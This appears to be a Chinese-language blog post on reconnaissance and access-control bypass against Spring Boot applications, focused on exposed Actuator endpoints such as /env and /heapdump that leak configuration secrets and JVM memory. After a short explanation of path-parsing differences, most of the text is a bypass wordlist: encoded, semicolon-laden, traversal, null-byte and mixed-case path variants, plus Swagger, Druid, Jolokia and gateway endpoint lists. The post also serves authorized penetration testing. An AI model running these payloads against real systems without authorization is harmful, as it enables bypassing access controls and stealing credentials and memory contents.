前言
Spring 扫描以及常见 Bypass 字典
针对spring、springmvc、spring boot应用的资产识别和漏洞探测思路
包含
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| Spring Boot 敏感端点扫描
Actuator 未授权访问
Spring Security 鉴权绕过
路径解析差异绕过
Spring Cloud 组件漏洞
SpringMVC 参数绑定问题
历史组件 RCE、文件读取、表达式注入等漏洞
|
spring到底在扫描什么？
1.Spring Boot Actuator未授权访问
Actuator 是 Spring Boot 的监控和管理组件，常见端点包括：
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| /actuator
/actuator/health
/actuator/info
/actuator/env
/actuator/configprops
/actuator/beans
/actuator/mappings
/actuator/heapdump
/actuator/threaddump
/actuator/loggers
/actuator/gateway/routes
|
旧版本或自定义路径还可能出现：
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| /env
/health
/info
/metrics
/mappings
/trace
/dump
/heapdump
/autoconfig
/configprops
|
然后对应的这些路径的危害有
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| /health：通常只用于确认服务状态。
/info：可能泄露版本、Git 提交和构建信息。
/env：可能暴露数据库、Redis、第三方服务等配置信息。
/mappings：可以枚举后端所有 Controller 路由。
/heapdump：可能下载 JVM 堆文件，从中提取敏感数据。
/gateway/routes：与 Spring Cloud Gateway 路由配置有关
|
这里的bypass
原始敏感路径被拦截、返回 401/403，但通过改变 URL 表达形式，使代理服务器、Servlet 容器、Spring MVC 和 Spring Security 对路径产生不同理解
比如原来我们要扫描
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| /actuator/env
/admin
/api/manage
|
但是会有很多的变体有可能
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| /actuator/env/
/actuator//env
//actuator/env
/actuator/./env
/actuator;x=/env
/actuator/env;
|
spring特征
这个是最常见的情况
其他情况
1.json
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| {
"timestamp": "...",
"status": 404,
"error": "Not Found",
"path": "/xxx"
}
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2.异常类
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| {
"timestamp": "...",
"status": 404,
"error": "Not Found",
"path": "/xxx"
}
|
什么情况下用spring漏洞挖掘
1.发现 Actuator
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| /actuator
/actuator/health
/actuator/info
|
2.Swagger 或 API 文档暴露
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| /v2/api-docs
/v3/api-docs
/swagger-ui/index.html
|
最后附上bypass字典
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| /actuator/env
/actuator;/env
/actuator/;/env
/actuator;;/env
/actuator/..;/env
/actuator/./..;/env
/actuator/../..;/env
/a/..;/actuator/env
/admin/..;/actuator/env
/anything/..;/actuator/env
/actuator//env
/actuator///env
/actuator/./env
/actuator/../env
/./actuator/env
/../actuator/env
/%61ctuator/env
/actuator/%65nv
/actuator/%65%6e%76
/%61%63%74%75%61%74%6f%72/%65%6e%76
/%2561ctuator/env
/actuator/%2565nv
/Actuator/env
/ACTUATOR/env
/actuator/Env
/actuator/ENV
/actuator/eNv
/actuator%00/env
/actuator/%00env
/actuator%0a/env
/actuator%0d/env
/actuator%09/env
/actuator/;env
/actuator/;env;
/actuator/..;env
/actuator/...;/env
\actuator\env
/actuator\env
/actuator:/env
/actuator/@/env
/actuator+/env
/actuator%20/env
/actuator/test/../env
/xxx/../actuator/env
/env
/;/env
/;;/env
/..;/env
/a/..;/env
/./env
//env
/%65nv
/%2565nv
/Env
/ENV
/eNv
/%00env
/%0aenv
/;env
\env
/env/
/actuator/heapdump
/actuator;/heapdump
/actuator/;/heapdump
/actuator/..;/heapdump
/a/..;/actuator/heapdump
/admin/..;/actuator/heapdump
/actuator//heapdump
/actuator/./heapdump
/./actuator/heapdump
/%61ctuator/heapdump
/actuator/%68%65%61%70%64%75%6d%70
/Actuator/heapdump
/actuator/Heapdump
/actuator%00/heapdump
/actuator%0a/heapdump
/actuator/;heapdump
\actuator\heapdump
/actuator/heapdump/
/xxx/..;/actuator/heapdump
/heapdump
/;/heapdump
/..;/heapdump
/Heapdump
/%00heapdump
/actuator/mappings
/actuator;/mappings
/actuator/;/mappings
/actuator/..;/mappings
/a/..;/actuator/mappings
/actuator//mappings
/actuator/./mappings
/%61ctuator/mappings
/actuator/%6d%61%70%70%69%6e%67%73
/Actuator/mappings
/actuator/Mappings
/actuator%00/mappings
/actuator/;mappings
\actuator\mappings
/xxx/..;/actuator/mappings
/mappings
/;/mappings
/..;/mappings
/Mappings
/%00mappings
/actuator/configprops
/actuator;/configprops
/actuator/;/configprops
/actuator/..;/configprops
/a/..;/actuator/configprops
/actuator//configprops
/actuator/./configprops
/%61ctuator/configprops
/actuator/%63%6f%6e%66%69%67%70%72%6f%70%73
/Actuator/configprops
/actuator/Configprops
/actuator%00/configprops
/actuator/;configprops
\actuator\configprops
/xxx/..;/actuator/configprops
/configprops
/;/configprops
/..;/configprops
/Configprops
/%00configprops
/actuator/beans
/actuator;/beans
/actuator/;/beans
/actuator/..;/beans
/a/..;/actuator/beans
/actuator//beans
/actuator/./beans
/%61ctuator/beans
/actuator/%62%65%61%6e%73
/Actuator/beans
/actuator/Beans
/actuator%00/beans
/actuator/;beans
\actuator\beans
/xxx/..;/actuator/beans
/beans
/;/beans
/..;/beans
/Beans
/%00beans
/actuator/health
/actuator;/health
/actuator/;/health
/actuator/..;/health
/a/..;/actuator/health
/actuator//health
/actuator/./health
/%61ctuator/health
/actuator/%68%65%61%6c%74%68
/Actuator/health
/actuator/Health
/actuator%00/health
/actuator/;health
\actuator\health
/xxx/..;/actuator/health
/health
/;/health
/..;/health
/Health
/%00health
/actuator/loggers
/actuator;/loggers
/actuator/;/loggers
/actuator/..;/loggers
/a/..;/actuator/loggers
/actuator//loggers
/actuator/./loggers
/%61ctuator/loggers
/actuator/%6c%6f%67%67%65%72%73
/Actuator/loggers
/actuator/Loggers
/actuator%00/loggers
/actuator/;loggers
\actuator\loggers
/xxx/..;/actuator/loggers
/loggers
/;/loggers
/..;/loggers
/Loggers
/%00loggers
/actuator/httptrace
/actuator;/httptrace
/actuator/;/httptrace
/actuator/..;/httptrace
/a/..;/actuator/httptrace
/actuator//httptrace
/actuator/./httptrace
/%61ctuator/httptrace
/actuator/%68%74%74%70%74%72%61%63%65
/Actuator/httptrace
/actuator/Httptrace
/actuator%00/httptrace
/actuator/;httptrace
\actuator\httptrace
/xxx/..;/actuator/httptrace
/httptrace
/;/httptrace
/..;/httptrace
/Httptrace
/%00httptrace
/actuator/metrics
/actuator;/metrics
/actuator/;/metrics
/actuator/..;/metrics
/a/..;/actuator/metrics
/actuator//metrics
/actuator/./metrics
/%61ctuator/metrics
/actuator/%6d%65%74%72%69%63%73
/Actuator/metrics
/actuator/Metrics
/actuator%00/metrics
/actuator/;metrics
\actuator\metrics
/xxx/..;/actuator/metrics
/metrics
/;/metrics
/..;/metrics
/Metrics
/%00metrics
/actuator/threaddump
/actuator;/threaddump
/actuator/;/threaddump
/actuator/..;/threaddump
/a/..;/actuator/threaddump
/actuator//threaddump
/actuator/./threaddump
/%61ctuator/threaddump
/actuator/%74%68%72%65%61%64%64%75%6d%70
/Actuator/threaddump
/actuator/Threaddump
/actuator%00/threaddump
/actuator/;threaddump
\actuator\threaddump
/xxx/..;/actuator/threaddump
/threaddump
/;/threaddump
/..;/threaddump
/Threaddump
/%00threaddump
api-docs
actuator
actuator/./env
actuator/auditLog
actuator/auditevents
actuator/autoconfig
/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/flyway
/info
/intergrationgraph
/jolokia
/logfile
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/actuator/auditevents
/actuator/conditions
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/actuator/jolokia
/actuator/hystrix.stream
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/healthcheck
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/sessions
actuator/springWebflow
actuator/sso
actuator/ssoSessions
actuator/statistics
actuator/status
actuator/threaddump
actuator/trace
%20/swagger-ui.html
actuator/heapdump
api.html
api/index.html
api/swagger-ui.html
api/v2/api-docs
auditevents
autoconfig
beans
caches
cloudfoundryapplication
conditions
configprops
distv2/index.html
docs
druid/index.html
druid/login.html
druid/websession.html
dubbo-provider/distv2/index.html
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entity/all
env
env/(name)
eureka
flyway
gateway/actuator
gateway/actuator/auditevents
gateway/actuator/beans
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gateway/actuator/heapdump
gateway/actuator/httptrace
gateway/actuator/hystrix.stream
gateway/actuator/info
gateway/actuator/jolokia
gateway/actuator/logfile
gateway/actuator/loggers
gateway/actuator/mappings
gateway/actuator/metrics
gateway/actuator/scheduledtasks
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gateway/actuator/threaddump
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heapdump
heapdump.json
httptrace
hystrix
hystrix.stream
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intergrationgraph
jolokia
jolokia/list
liquibase
logfile
loggers
mappings
metrics
monitor
prometheus
refresh
scheduledtasks
sessions
shutdown
spring-security-oauth-resource/swagger-ui.html
spring-security-rest/api/swagger-ui.html
static/swagger.json
sw/swagger-ui.html
/swagger-ui.html#/test-controller
swagger
swagger/codes
swagger/index.html
swagger/static/index.html
swagger/swagger-ui.html
swagger-dubbo/api-docs
swagger-ui
swagger-ui.html
swagger-ui/html
swagger-ui/index.html
system/druid/index.html
template/swagger-ui.html
threaddump
trace
user/swagger-ui.html
v1.1/swagger-ui.html
v1.2/swagger-ui.html
v1.3/swagger-ui.html
v1.4/swagger-ui.html
v1.5/swagger-ui.html
v1.6/swagger-ui.html
v1.7/swagger-ui.html
v1.8/swagger-ui.html
v1.9/swagger-ui.html
v2.0/swagger-ui.html
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2.2/swagger-ui.html
2.3/swagger-ui.html
2/swagger.json
webpage/system/druid/index.html
prod-api/%20/swagger-ui.html
prod-api/actuator
prod-api/actuator/auditevents
prod-api/actuator/beans
prod-api/actuator/conditions
prod-api/actuator/configprops
prod-api/actuator/env
prod-api/actuator/health
prod-api/actuator/heapdump
prod-api/actuator/httptrace
prod-api/actuator/hystrix.stream
prod-api/actuator/info
prod-api/actuator/jolokia
prod-api/actuator/logfile
prod-api/actuator/loggers
prod-api/actuator/mappings
prod-api/actuator/metrics
prod-api/actuator/scheduledtasks
prod-api/actuator/swagger-ui.html
prod-api/actuator/threaddump
prod-api/actuator/trace
prod-api/api.html
prod-api/api/index.html
prod-api/api/swagger-ui.html
prod-api/api/v2/api-docs
prod-api/v2/api-docs
prod-api/auditevents
prod-api/autoconfig
prod-api/beans
prod-api/caches
prod-api/cloudfoundryapplication
prod-api/conditions
prod-api/configprops
prod-api/distv2/index.html
prod-api/docs
prod-api/druid/index.html
prod-api/druid/login.html
prod-api/druid/websession.html
prod-api/dubbo-provider/distv2/index.html
prod-api/dump
prod-api/entity/all
prod-api/env
prod-api/env/(name)
prod-api/eureka
prod-api/flyway
prod-api/gateway/actuator
prod-api/gateway/actuator/auditevents
prod-api/gateway/actuator/beans
prod-api/gateway/actuator/conditions
prod-api/gateway/actuator/configprops
prod-api/gateway/actuator/env
prod-api/gateway/actuator/health
prod-api/gateway/actuator/heapdump
prod-api/gateway/actuator/httptrace
prod-api/gateway/actuator/hystrix.stream
prod-api/gateway/actuator/info
prod-api/gateway/actuator/jolokia
prod-api/gateway/actuator/logfile
prod-api/gateway/actuator/loggers
prod-api/gateway/actuator/mappings
prod-api/gateway/actuator/metrics
prod-api/gateway/actuator/scheduledtasks
prod-api/gateway/actuator/swagger-ui.html
prod-api/gateway/actuator/threaddump
prod-api/gateway/actuator/trace
prod-api/health
prod-api/heapdump
prod-api/heapdump.json
prod-api/httptrace
prod-api/hystrix
prod-api/hystrix.stream
prod-api/info
prod-api/intergrationgraph
prod-api/jolokia
prod-api/jolokia/list
prod-api/liquibase
prod-api/logfile
prod-api/loggers
prod-api/mappings
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prod-api/monitor
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